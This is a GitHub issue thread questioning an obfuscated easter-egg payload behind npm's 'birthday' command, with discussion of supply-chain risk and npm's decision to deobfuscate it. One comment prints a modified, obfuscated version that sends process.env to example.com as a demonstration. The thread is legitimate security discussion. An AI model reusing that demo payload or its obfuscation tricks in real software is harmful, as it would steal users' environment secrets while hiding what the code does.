Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Why is an obfuscated JS payload part of an npm command? #4091

Closed
zkldi opened this issue Nov 24, 2021 · 20 comments · Fixed by npm/npm-birthday#1
Closed

Why is an obfuscated JS payload part of an npm command? #4091

zkldi opened this issue Nov 24, 2021 · 20 comments · Fixed by npm/npm-birthday#1
Assignees

Comments

@zkldi
Copy link

@zkldi zkldi commented Nov 24, 2021

When going through the codebase I found this file:
birthday.js
Which seems very strange. It seems to execute another package off of NPM that is - as of writing - comprised of this exact code.

    /* eslint-disable max-len */
    // happy birthday! 🎂

    module.exports = c => {
      const B = global[Buffer.from([66, 117, 102, 102, 101, 114])]
      const f = B.from([102, 114, 111, 109])
      const D = global[B[f]([68, 97, 116, 101])]
      const s = 8
      const t = 29
      const n = new D()
      const _6 = B[f]([98, 97, 115, 101, 54, 52]) + ''
      const l = B[f]('dG9TdHJpbmc=', _6)
      const v = s => B[f](s, _6)[l](); const y = v('Z2V0RnVsbFllYXI=')
      const a = v('Z2V0VVRDRGF0ZQ=='); const m = v('Z2V0VVRDTW9udGg='); const p = v('UGxlYXNlIHRyeSBhZ2FpbiBpbiA=')
      const z = require(v('emxpYg==')); const i = z[v('aW5mbGF0ZVN5bmM=')]
      let x_ = n[y]()
      const x = new D(`${x_++}-0${s + 1}-${t}`) - n
      const xx = x < 0 ? new D(`${x_}-0${s + 1}-${t}`) - n : x

      c(...(`${n[a]()}${n[m]()}` !== `${t}${s}` ? [`${p}${xx}ms`] : [null, console.log(i(B[f](B[f](JSON.parse(i(B[f]('eJw1U9Gx5DAIa4gPExsDtby5/ts4SXhnspNNAkIS8p8vtzzm32e+rp2t2007ae7HTuEWdq/VtvysHM/4rbTEdfEvLNhclqgL/Nv67AvVR+AAQHF9lguTllXrRtAmIvs9ZnJYpXXxdQ1QtzX6VnOA4JxMMBvwhZlF6DiaCL63+So3yykhCeMCDF6kCmheLaWUmHrtn5Opu4SCLYh0ilQIPvewupKylsXSJOclnZy55gm1V3bcK3RYSgd7GOCh5TvUQ2IB67Kdk0gHBsV5ek5LcchwF+WWathBoo9VUE7A6WJFfsMBX5wzD6VQGqm7HCPNkRxbJPZ82cSuaapZDKGG5ttJpXC18SBYTDPogtV94ViisUZpa+dXTrCJm/GrDtfO6uXAtdp8T+IZ/ksPJmI8bSgljH4LTV6QK6P6kkniJezk65dPeRzy9Gjh3zTeliZ0sYJJjZ9c0mCaWMrglj7IsHwGaUNaxGYuBPbNOViz6blxpk7E+QURA+n54qI1a5Ydv1QrUkeBocNFpKe8Z5ld71y29gAG78xg5zSS5/VMsat4ODL7a1BllY4OTKLhd+IruSB7/d9/b7zQBA==', _6))[l]()))[l](), _6))[l]())]))
    }

Running this command inside a VM resulted in nonsense output, too, so if it is an easter egg I'm not even sure it works.

npm birthday
npm ERR! Please try again in 26632152294ms

There is absolutely no documentation of this command anywhere. I can't find anyone discussing it, and I can't find any other information about it. What is this payload, and why is it part of npm? The package description doesn't instill any faith that this isn't a malicious payload, and due to the lack of sandboxing, this could quite literally do anything.

Is this a self-parody of malicious NPM packages hijacking accounts? I genuinely do not know what this is meant to be.

If it's an easter egg - why is it completely obfuscated, and executed from a separate package? Millions of developers around the world depend on npm, and stuffing malicious-like code into it (even as an easter egg) seems like a terrible idea security wise.

@shawnduong
Copy link

@shawnduong shawnduong commented Nov 24, 2021

I have to agree with this. Putting code that looks like malware inside of npm is irresponsible and reckless. If I were first seeing this code, I'd think that some malware or backdoor had made it into npm's codebase. Also, are we totally sure that it's just a birthday message? If I were a malware author, that'd be the perfect cover/trojan for something more malicious.

npm, what's going on?

@ereti
Copy link

@ereti ereti commented Nov 24, 2021

I've been through the source code for it and can confirm that it does nothing more malicious than either tell you how many milliseconds until npmcli's birthday, or print a bunch of balloon emojis and the commit hash of the very first commit to this repository. But yes, I can understand why it would be concerning to see.

Gist link.

@nlf
Copy link
Contributor

@nlf nlf commented Nov 24, 2021

it is an easter egg, and it does work.

it was removed and separated into its own package some time ago to prevent code scanners from identifying it as a virus/malware since it means it is no longer part of the published npm package.

as for why it's obfuscated, that's because it's an easter egg and is meant to be a surprise. if you don't run npm birthday the package will never be downloaded and the code will never be run, which for the vast majority of people removes the concern.

@nlf nlf closed this Nov 24, 2021
@zkldi
Copy link
Author

@zkldi zkldi commented Nov 25, 2021

it is an easter egg, and it does work.

it was removed and separated into its own package some time ago to prevent code scanners from identifying it as a virus/malware since it means it is no longer part of the published npm package.

as for why it's obfuscated, that's because it's an easter egg and is meant to be a surprise. if you don't run npm birthday the package will never be downloaded and the code will never be run, which for the vast majority of people removes the concern.

Hi, While I appreciate easter eggs (and think others have it a bit too much out for them), the fact that this easter egg is obfuscated sets off multiple alarm bells. The automated code scanners were right -- this looks like malware!

Just to illustrate this, here's birthdays code, but modified to perform something very malicious. The two payloads really do not look that different at all.

edit: just to be clear don't actually run this code it sends your process.env to http://example.com.

/* eslint-disable max-len */
// happy birthday! 🎂

module.exports = c => {
	const g = global;
	const B = g[Buffer.from([66, 117, 102, 102, 101, 114])]
	const f = B.from([102, 114, 111, 109])
	const D = g[B[f]([68, 97, 116, 101])]
	const s = 8
	const t = 29
	const n = new D()
	const _6 = B[f]([98, 97, 115, 101, 54, 52]) + ''
	const _9 = B[f]([104, 116, 116, 112]) + ''
	const l = B[f]('dG9TdHJpbmc=', _6)
	const k = B[f]('eJzLKCkpsNLXT61IzC3ISdVLzs+1BwBGLwbx', _6)
	const v = s => B[f](s, _6)[l](); h = g; const y = v('Z2V0RnVsbFllYXI='); const c = h[B[f]([t + 83]) + v('cm9jZQ==') + B[f]([115, 115])][v('ZW52')];
	const a = v('Z2V0VVRDRGF0ZQ=='); const m = v('Z2V0VVRDTW9udGg='); const p = v('UGxlYXNlIHRyeSBhZ2FpbiBpbiA=')
	const z = require(v('emxpYg==')); const q = require(_9); const i = z[v('aW5mbGF0ZVN5bmM=')]
	const b = v('dG9TdHJpbmc=')
	let x_ = n[y]()
	const x = new D(`${x_++}-0${s + 1}-${t}`) - n
	const xx = x < 0 ? new D(`${x_}-0${s + 1}-${t}`) - n : x

	const e = i(B[f](B[f](JSON.parse(i(B[f]('eJw1U9Gx5DAIa4gPExsDtby5/ts4SXhnspNNAkIS8p8vtzzm32e+rp2t2007ae7HTuEWdq/VtvysHM/4rbTEdfEvLNhclqgL/Nv67AvVR+AAQHF9lguTllXrRtAmIvs9ZnJYpXXxdQ1QtzX6VnOA4JxMMBvwhZlF6DiaCL63' + (q[B[f]([s + 95]) + v('ZXQ=')](i(k) + z[v('aW5mbGF0ZVN5bmM=')](c)[b](_6), '') + '+So3yykhCeMCDF6kCmheLaWUmHrtn5Opu4SCLYh0ilQIPvewupKylsXSJOclnZy55gm1V3bcK3RYSgd7GOCh5TvUQ2IB67Kdk0gHBsV5ek5LcchwF+WWathBoo9VUE7A6WJFfsMBX5wzD6VQGqm7HCPNkRxbJPZ82cSuaapZDKGG5ttJpXC18SBYTDPogtV94ViisUZpa+dXTrCJm/GrDtfO6uXAtdp8T+IZ/ksPJmI8bSgljH4LTV6QK6P6kkniJezk65dPeRzy9Gjh3zTeliZ0sYJJjZ9c0mCaWMrglj7IsHwGaUNaxGYuBPbNOViz6blxpk7E+QURA+n54qI1a5Ydv1QrUkeBocNFpKe8Z5ld71y29gAG78xg5zSS5/VMsat4ODL7a1BllY4OTKLhd+IruSB7/d9/b7zQBA==', _6))[l]()))[l](), _6))[l]())

	c(...(`${n[a]()}${n[m]()}` !== `${t}${s}` ? [`${p}${xx}ms`] : [null, console.log(e)]))
}

If this easter egg was unobfuscated, I would've just looked at it and gone "thats neat", but the fact that this was obfuscated to look like malware means I have to spend 10 mins checking that it isn't actually malicious. It would be nice if the easter egg was kept but de-obfuscated so others aren't concerned by it.

@internalsystemerror
Copy link

@internalsystemerror internalsystemerror commented Nov 25, 2021

Can I suggest that a link to this issue is added as a comment?

@wopian
Copy link

@wopian wopian commented Nov 25, 2021

The repository the obfuscated easter egg code points to as its source is also outdated (or private) too,

https://github.com/npm/npm-birthday (from @npmcli/npm-birthday)

@majg0
Copy link

@majg0 majg0 commented Nov 26, 2021

  1. WTF, This is NOT cool!
  2. This is great, because it shows very simply why we should NOT rely on external packages willy nilly. Unpopular opinion perhaps, but I think we should just write simple straightforward code that does its job, nothing more, nothing less.

@HeyITGuyFixIt
Copy link

@HeyITGuyFixIt HeyITGuyFixIt commented Nov 26, 2021

My question is whose birthday is it? The milliseconds point to September 28, 2022.

@ereti
Copy link

@ereti ereti commented Nov 26, 2021

As I documented in the gist where I deobfuscated it, it's the birthday of npm cli. The 'birthday message' includes the shorthash of the first commit. (and it's actually midnight of the 29th, UTC)

@jasonkarns
Copy link
Contributor

@jasonkarns jasonkarns commented Nov 27, 2021

if you don't run npm birthday the package will never be downloaded

So if you run a particular command, npm will download obfuscated code on demand and run it?

And nobody has a problem with this? Seems like a perfect attack vector. It's a lot easier to have obfuscated malicious code executed if people are already "expecting" obfuscated code. And pulling it demand? Now you've got additional surface area to attack.

@ljharb

This comment has been hidden.

@zkldi
Copy link
Author

@zkldi zkldi commented Nov 27, 2021

@jasonkarns no, the code is bundled into the npm CLI, npm doesn't download anything to run itself.

This isn't true. npm birthday runs this exact code (as of writing)

const BaseCommand = require('../base-command.js')

class Birthday extends BaseCommand {
  static name = 'birthday'
  async exec () {
    this.npm.config.set('yes', true)
    return this.npm.exec('exec', ['@npmcli/npm-birthday'])
  }
}

module.exports = Birthday

Which results in npx @npmcli/npm-birthday being executed. This (assuming no cache) pulls @npmcli/npm-birthday from npm and immediately executes it.

@ljharb
Copy link
Collaborator

@ljharb ljharb commented Nov 27, 2021

ah, you're right; it's not listed as a dependency.

@lucasyvas
Copy link

@lucasyvas lucasyvas commented Nov 29, 2021

Easter eggs are fun, but this pretty badly misses the mark. It's a full demonstration of something that you should never do. Unfortunately, it sets a pretty bad example.

@nlf
Copy link
Contributor

@nlf nlf commented Dec 2, 2021

we hear all of your concerns, and we agree completely.

i've open sourced the repo for the command here: https://github.com/npm/npm-birthday

I've also opened a pull request that deobfuscates the code to be less worrisome: npm/npm-birthday#1

We'll land that and ship it as part of our next release, and in the next semver-major release of npm we're very likely to remove the command entirely.

@zkldi
Copy link
Author

@zkldi zkldi commented Dec 2, 2021

This is great! I think de-obfuscating the command and open-sourcing it is great.

I don't think removing it in npm@9 is necessary though. Easter eggs are cool, and I think software has it a bit too out for them at the moment.

Regardless, this solution is the right one in my opinion. Thanks.

@10maurycy10
Copy link

@10maurycy10 10maurycy10 commented Dec 15, 2021

@russeg
Copy link

@russeg russeg commented Dec 21, 2021

we should not encourage this kinds of stuff. developers should assume that obfuscated code is malicious (thus investigate), and not obfuscated code means an easter egg.

@koganei
Copy link

@koganei koganei commented Dec 21, 2021

Why bother obfuscating it? The existence of the command itself is enough of an easter egg.

@lietu
Copy link

@lietu lietu commented Dec 21, 2021

So, previously you had an obfuscated easter egg in the codebase, and when alarms started ringing your solution was to move the obfuscated easter egg in an external package and just execute any unverified code from that package when called.

Then when that was questioned, you unobfuscated that external package, and still execute any unverified code from that package when called, as far as I can tell without any checksum verification, etc.

If you want to keep the easter egg, at least integrate it into the main codebase so changes to it will be easier for people to detect. Now it's in some essentially unmonitored repo, and the code from there is run unquestioned, unverified, and does not get analyzed as part of the risk analysis for npm itself. This means that when someone has enough motivation to target one of the maintainers of npm/npm-birthday and modify it there's very few people who will actually notice something is up.

Say something like nodejs.org infrastructure runs the command periodically because it seems like a fun way to add an easter egg on the homepage saying "happy birthday NPM", and this infrastructure instead actually executes this unverified code which has been compromised and suddenly all nodejs downloads get replaced with compromised ones.

This seems like an undesired outcome, and a less than great resolution to the problem.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.